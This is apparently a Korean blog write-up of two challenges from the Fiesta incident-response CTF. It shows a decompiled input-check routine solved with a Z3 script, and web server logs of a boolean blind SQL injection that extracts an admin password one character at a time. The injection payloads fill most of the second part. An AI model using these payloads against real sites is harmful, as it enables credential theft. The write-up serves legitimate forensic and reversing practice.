2025. 10. 3. 21:10ㆍreview 및 write up
금보원에서 주관하는 침해대응 위주의 CTF인 Fiesta, 이번에는 여러이유로 바빠 혼자 참여하게되었다.
하루밖에 참여하지 못하여 시나리오는 건들이지 못하고 특별문제 부분에서 4문제를 풀었는데 이에대한 write up을 작성해보려 한다
Binary Puzzle
맞는 입력값을 찾으라는 문제였고 먼저 문자열 검색으로 Input: 이 있는 곳을 찾아 디컴파일을 돌려봤다
__int64 sub_7FF6754D6190()
{
_DWORD *v0; // rdi
__int64 i; // rcx
__int64 v2; // rax
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
_BYTE *v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rax
__int64 v10; // rdi
_BYTE v12[32]; // [rsp+0h] [rbp-20h] BYREF
_BYTE v13[104]; // [rsp+20h] [rbp+0h] BYREF
_BYTE v14[60]; // [rsp+88h] [rbp+68h] BYREF
int j; // [rsp+C4h] [rbp+A4h]
__int16 v16; // [rsp+F0h] [rbp+D0h]
__int16 v17; // [rsp+F2h] [rbp+D2h]
__int16 v18; // [rsp+F4h] [rbp+D4h]
__int16 v19; // [rsp+F6h] [rbp+D6h]
__int16 v20; // [rsp+F8h] [rbp+D8h]
__int16 v21; // [rsp+FAh] [rbp+DAh]
__int16 v22; // [rsp+FCh] [rbp+DCh]
__int16 v23; // [rsp+FEh] [rbp+DEh]
__int16 v24; // [rsp+100h] [rbp+E0h]
__int16 v25; // [rsp+102h] [rbp+E2h]
__int16 v26; // [rsp+104h] [rbp+E4h]
__int16 v27; // [rsp+106h] [rbp+E6h]
__int16 v28; // [rsp+108h] [rbp+E8h]
__int16 v29; // [rsp+10Ah] [rbp+EAh]
__int16 v30; // [rsp+10Ch] [rbp+ECh]
__int16 v31; // [rsp+10Eh] [rbp+EEh]
__int16 v32; // [rsp+110h] [rbp+F0h]
__int16 v33; // [rsp+112h] [rbp+F2h]
__int16 v34; // [rsp+114h] [rbp+F4h]
__int16 v35; // [rsp+116h] [rbp+F6h]
__int16 v36; // [rsp+118h] [rbp+F8h]
__int16 v37; // [rsp+11Ah] [rbp+FAh]
__int16 v38; // [rsp+11Ch] [rbp+FCh]
__int16 v39; // [rsp+11Eh] [rbp+FEh]
__int16 v40; // [rsp+120h] [rbp+100h]
__int16 v41; // [rsp+122h] [rbp+102h]
__int16 v42; // [rsp+124h] [rbp+104h]
__int16 v43; // [rsp+126h] [rbp+106h]
__int16 v44; // [rsp+128h] [rbp+108h]
__int16 v45; // [rsp+12Ah] [rbp+10Ah]
__int16 v46; // [rsp+12Ch] [rbp+10Ch]
__int16 v47; // [rsp+12Eh] [rbp+10Eh]
int k; // [rsp+144h] [rbp+124h]
_DWORD v49[37]; // [rsp+170h] [rbp+150h]
char v50; // [rsp+204h] [rbp+1E4h]
int m; // [rsp+224h] [rbp+204h]
unsigned int v52; // [rsp+3C4h] [rbp+3A4h]
unsigned int v53; // [rsp+3E4h] [rbp+3C4h]
v0 = v13;
for ( i = 154; i; --i )
*v0++ = -858993460;
sub_7FF6754D162C(&unk_7FF6754EB077);
v2 = sub_7FF6754D10A5(std::cout, "=== Binary Puzzle ===");
std::ostream::operator<<(v2, sub_7FF6754D1041);
v3 = sub_7FF6754D10A5(std::cout, "Solve this binary puzzle :D");
std::ostream::operator<<(v3, sub_7FF6754D1041);
sub_7FF6754D10A5(std::cout, "Input: ");
sub_7FF6754D161D(v14);
sub_7FF6754D136B(std::cin, v14);
if ( sub_7FF6754D1569(v14) == 64 )
{
for ( j = 0; j < 64; ++j )
{
v6 = (_BYTE *)sub_7FF6754D10B9(v14, j);
v13[j + 16] = *v6;
}
for ( k = 0; k < 32; ++k )
*(&v16 + k) = (unsigned __int8)v13[2 * k + 17] | ((unsigned __int8)v13[2 * k + 16] << 8);
v16 = v23 ^ v34 ^ (v45 + v16);
v17 = v32 ^ (7 * v17);
v18 = v16 + v18 - v45 - v45;
v19 -= v38;
v20 = (v35 - v31) ^ v32 ^ (v30 + 3 * v20);
v21 ^= v16 + v42 - v40;
v22 ^= (v42 - v44 - v41) ^ v41;
v23 = v40 ^ (v30 + v23 - v46);
v24 = (v25 + v29) ^ (v24 - v26 - v42);
v25 = v42 + v25 - v32;
v27 ^= 2 * v34;
v28 = v37 + 3 * v28 - v20 - v18;
v29 -= 4 * v38;
v30 = v43 ^ (v30 - v18);
v31 *= 2;
v32 ^= v32 + 3 * v29;
v33 ^= v43 - v17;
v34 = v36 + v34 - v30;
v35 = v35 + 2 * v42 - v36;
v37 ^= 3 * v23;
v38 ^= (2 * v34) ^ (v36 - v28);
v39 += v30 + v45;
v40 ^= (v21 + v27) ^ (v40 + v34 - v26);
v41 ^= v43 - v35 - v22;
v42 = v35 ^ (v42 - v26 - 3 * v19);
v43 ^= 6 * v34 + v24;
v44 ^= 3 * v24 + v40;
v45 = v45 - v44 - v32;
v46 = v22 ^ (v20 + v46);
v47 ^= v28 + v45;
v49[0] = 37579;
v49[1] = 61717;
v49[2] = 17610;
v49[3] = 18733;
v49[4] = 29327;
v49[5] = 62894;
v49[6] = 40252;
v49[7] = 23200;
v49[8] = 23625;
v49[9] = 11321;
v49[10] = 14689;
v49[11] = 23134;
v49[12] = 55867;
v49[13] = 39558;
v49[14] = 49656;
v49[15] = 29290;
v49[16] = 12786;
v49[17] = 8829;
v49[18] = 42613;
v49[19] = 36754;
v49[20] = 14134;
v49[21] = 27522;
v49[22] = 8742;
v49[23] = 21858;
v49[24] = 65392;
v49[25] = 15348;
v49[26] = 37595;
v49[27] = 30308;
v49[28] = 8751;
v49[29] = 3344;
v49[30] = 14842;
v49[31] = 34102;
v50 = 1;
for ( m = 0; m < 32; ++m )
{
if ( (unsigned __int16)*(&v16 + m) != v49[m] )
{
v50 = 0;
break;
}
}
if ( v50 )
{
v7 = sub_7FF6754D10A5(std::cout, "Puzzle Solved!");
std::ostream::operator<<(v7, sub_7FF6754D1041);
v8 = sub_7FF6754D10A5(std::cout, "Flag: ");
v9 = sub_7FF6754D159B(v8, v14);
}
else
{
v9 = sub_7FF6754D10A5(std::cout, "Wrong");
}
std::ostream::operator<<(v9, sub_7FF6754D1041);
v53 = 0;
sub_7FF6754D1122(v14);
v5 = v53;
}
else
{
v4 = sub_7FF6754D10A5(std::cout, "Input size error");
std::ostream::operator<<(v4, sub_7FF6754D1041);
v52 = 1;
sub_7FF6754D1122(v14);
v5 = v52;
}
v10 = v5;
sub_7FF6754D152D(v12, &unk_7FF6754E0ED0);
return v10;
}
코드를 해석해보니 버퍼 v14에 입력을 읽고, sub_7FF6754D1569(v14)로 길이가 64인지 확인한 뒤
j=0..63 바이트를 임시 버퍼 v13[16..79]에 복사
k=0..31에 대해
W[k] = (uint16)(v13[16+2k] << 8) | (uint8)v13[17+2k]
즉, 2바이트씩 빅엔디언으로 묶어 32개 문자를 생성한다. 이 32개가 코드의 v16..v47
v16..v47을 다음과 같이 갱신한다. 모든 연산은 16비트 정수로 동작하고 16비트로 랩된다.
v16 = v23 ^ v34 ^ (v45 + v16);
v17 = v32 ^ (7 * v17);
v18 = v16 + v18 - v45 - v45;
v19 = v19 - v38;
v20 = (v35 - v31) ^ v32 ^ (v30 + 3 * v20);
v21 = v21 ^ (v16 + v42 - v40);
v22 = v22 ^ ((v42 - v44 - v41) ^ v41);
v23 = v40 ^ (v30 + v23 - v46);
v24 = (v25 + v29) ^ (v24 - v26 - v42);
v25 = v42 + v25 - v32;
v27 = v27 ^ (2 * v34);
v28 = v37 + 3 * v28 - v20 - v18;
v29 = v29 - 4 * v38;
v30 = v43 ^ (v30 - v18);
v31 = v31 * 2;
v32 = v32 ^ (v32 + 3 * v29);
v33 = v33 ^ (v43 - v17);
v34 = v36 + v34 - v30;
v35 = v35 + 2 * v42 - v36;
v37 = v37 ^ (3 * v23);
v38 = v38 ^ ((2 * v34) ^ (v36 - v28));
v39 = v39 + v30 + v45;
v40 = v40 ^ ((v21 + v27) ^ (v40 + v34 - v26));
v41 = v41 ^ (v43 - v35 - v22);
v42 = v35 ^ (v42 - v26 - 3 * v19);
v43 = v43 ^ (6 * v34 + v24);
v44 = v44 ^ (3 * v24 + v40);
v45 = v45 - v44 - v32;
v46 = v22 ^ (v20 + v46);
v47 = v47 ^ (v28 + v45);
이제 갱신된 v16..v47를 상수 테이블인 v49[0]~[31] 과 비교하여 일치한다면 플래그를 출력한다
나는 파이썬의 Z3을 사용하여 비트연산의 역산을 구했는데
처음 exploit code를 돌렸을 때는 ascii값으로 변환되지 않는 바이너리 형태가 나와서 제약으로 flag형식 fiesta{ }와 ascii로 제한한다는 제약을 추가해서야 플래그를 구할 수 있었다.
exploit code
# solve_binary_puzzle_ascii.py
from z3 import *
# 32개의 16비트 워드(입력 64바이트를 big-endian으로 해석)
w = [BitVec(f"w{i}", 16) for i in range(32)]
# 바이트 뷰(hb: 상위, lb: 하위)
hb = [Extract(15, 8, w[i]) for i in range(32)]
lb = [Extract(7, 0, w[i]) for i in range(32)]
# 64바이트 배열 B (big-endian)
B = []
for i in range(32):
B.append(hb[i])
B.append(lb[i])
# 스크램블: v[0]..v[31]이 디컴파일의 v16..v47
v = w[:]
v[0] = v[7] ^ v[18] ^ (v[29] + v[0])
v[1] = v[16] ^ (7 * v[1])
v[2] = v[0] + v[2] - v[29] - v[29]
v[3] = v[3] - v[22]
v[4] = (v[19] - v[15]) ^ v[16] ^ (v[14] + 3 * v[4])
v[5] = v[5] ^ (v[0] + v[26] - v[24])
v[6] = v[6] ^ ((v[26] - v[28] - v[25]) ^ v[25])
v[7] = v[24] ^ (v[14] + v[7] - v[30])
v[8] = (v[9] + v[13]) ^ (v[8] - v[10] - v[26])
v[9] = v[26] + v[9] - v[16]
v[11] = v[11] ^ (2 * v[18])
v[12] = v[21] + 3 * v[12] - v[4] - v[2]
v[13] = v[13] - 4 * v[22]
v[14] = v[27] ^ (v[14] - v[2])
v[15] = v[15] * 2
v[16] = v[16] ^ (v[16] + 3 * v[13])
v[17] = v[17] ^ (v[27] - v[1])
v[18] = v[20] + v[18] - v[14]
v[19] = v[19] + 2 * v[26] - v[20]
v[21] = v[21] ^ (3 * v[7])
v[22] = v[22] ^ ((2 * v[18]) ^ (v[20] - v[12]))
v[23] = v[23] + v[14] + v[29]
v[24] = v[24] ^ ((v[5] + v[11]) ^ (v[24] + v[18] - v[10]))
v[25] = v[25] ^ (v[27] - v[19] - v[6])
v[26] = v[19] ^ (v[26] - v[10] - 3 * v[3])
v[27] = v[27] ^ (6 * v[18] + v[8])
v[28] = v[28] ^ (3 * v[8] + v[24])
v[29] = v[29] - v[28] - v[16]
v[30] = v[6] ^ (v[4] + v[30])
v[31] = v[31] ^ (v[12] + v[29])
C = [
37579, 61717, 17610, 18733, 29327, 62894, 40252, 23200,
23625, 11321, 14689, 23134, 55867, 39558, 49656, 29290,
12786, 8829, 42613, 36754, 14134, 27522, 8742, 21858,
65392, 15348, 37595, 30308, 8751, 3344, 14842, 34102
]
s = Solver()
for i in range(32):
s.add(v[i] == BitVecVal(C[i] & 0xFFFF, 16))
# ── 플래그 형식 제약: fiesta{...}
prefix = b"fiesta{"
for i, ch in enumerate(prefix):
s.add(B[i] == BitVecVal(ch, 8))
s.add(B[63] == BitVecVal(ord('}'), 8))
# 가독성: 전 바이트 ASCII 0x20~0x7E로 제한
for i in range(64):
s.add(ULE(BitVecVal(0x20, 8), B[i]))
s.add(ULE(B[i], BitVecVal(0x7E, 8)))
# 풀기
if s.check() != sat:
raise SystemExit("UNSAT: 주어진 접두/접미/ASCII 제약으로는 해가 없습니다. "
"ASCII 범위를 일부 완화하거나 특정 위치 제약을 낮춰보십시오.")
m = s.model()
# 모델 평가는 m.eval(expr, model_completion=True) 사용
def bv8(e): # 8비트 결과를 정수로
return m.eval(e, model_completion=True).as_long() & 0xFF
# 64바이트 복원
flag_bytes = bytearray(bv8(B[i]) for i in range(64))
print("FLAG:", flag_bytes.decode("ascii"))
print("HEX :", flag_bytes.hex())

Log Detective
웹 서버 로그를 준 뒤 공격자가 시도한 공격에서 플래그를 찾으라는 문제였다.
로그를 살펴보던중
73.156.95.58 - - [17/Apr/2025:17:04:29 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,45,1)='c') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0"
다음과 같이 admin의 password를 blind sql injection을 하는 모습이 눈에 띄였고 200응답이 나온 로그들만 모아 문자들을 합쳤다
115.105.136.68 - - [17/Apr/2025:16:16:22 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,1,1)='f') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:22 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,2,1)='i') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:22 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,3,1)='e') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:22 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,4,1)='s') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:23 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,5,1)='t') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:23 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,6,1)='a') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:23 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,7,1)='{') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:23 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,8,1)='8') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:23 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,9,1)='4') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:24 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,10,1)='7') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:24 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,11,1)='c') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:24 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,12,1)='0') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:24 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,13,1)='9') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:24 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,14,1)='c') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:24 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,15,1)='a') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:24 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,16,1)='2') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:25 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,17,1)='0') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 115.105.136.68 - - [17/Apr/2025:16:16:25 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,18,1)='e') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:01 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,19,1)='5') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:01 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,20,1)='b') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:01 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,21,1)='5') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:01 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,22,1)='e') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:01 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,23,1)='a') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:01 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,24,1)='d') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:02 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,25,1)='5') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:02 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,26,1)='8') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:02 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,27,1)='d') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:02 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,28,1)='1') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:02 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,29,1)='c') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:02 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,30,1)='d') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:02 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,31,1)='6') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:03 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,32,1)='5') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:03 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,33,1)='9') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:03 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,34,1)='6') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:03 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,35,1)='4') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:03 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,36,1)='a') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:04 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,37,1)='0') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:04 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,38,1)='5') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:04 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,39,1)='0') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:04 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,40,1)='b') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:04 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,41,1)='b') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:04 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,42,1)='4') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:04 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,43,1)='e') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 113.186.214.188 - - [17/Apr/2025:16:35:04 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,44,1)='c') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:29 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,45,1)='c') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:29 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,46,1)='0') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:29 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,47,1)='2') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:29 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,48,1)='3') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:29 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,49,1)='f') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:29 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,50,1)='e') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:29 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,51,1)='1') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:30 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,52,1)='8') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:30 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,53,1)='a') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:30 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,54,1)='7') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:30 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,55,1)='3') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:31 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,56,1)='6') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:31 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,57,1)='d') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:31 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,58,1)='6') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:31 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,59,1)='b') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:31 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,60,1)='8') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:31 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,61,1)='a') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 73.156.95.58 - - [17/Apr/2025:17:04:31 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,62,1)='d') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 54.243.250.45 - - [27/Apr/2025:17:22:31 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,63,1)='5') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 54.243.250.45 - - [27/Apr/2025:17:22:31 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,64,1)='f') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 54.243.250.45 - - [27/Apr/2025:17:22:32 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,65,1)='f') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 54.243.250.45 - - [27/Apr/2025:17:22:32 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,66,1)='c') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 54.243.250.45 - - [27/Apr/2025:17:22:32 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,67,1)='c') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 54.243.250.45 - - [27/Apr/2025:17:22:32 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,68,1)='2') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 54.243.250.45 - - [27/Apr/2025:17:22:32 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,69,1)='6') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 54.243.250.45 - - [27/Apr/2025:17:22:32 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,70,1)='6') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 54.243.250.45 - - [27/Apr/2025:17:22:32 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,71,1)='c') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0" 54.243.250.45 - - [27/Apr/2025:17:22:33 +0900] "GET /about/admin' AND 1=(CASE WHEN (SUBSTRING(password,72,1)='}') THEN 1 ELSE 0 END)-- b HTTP/1.1" 200 1576 "-" "python-requests/2.31.0"
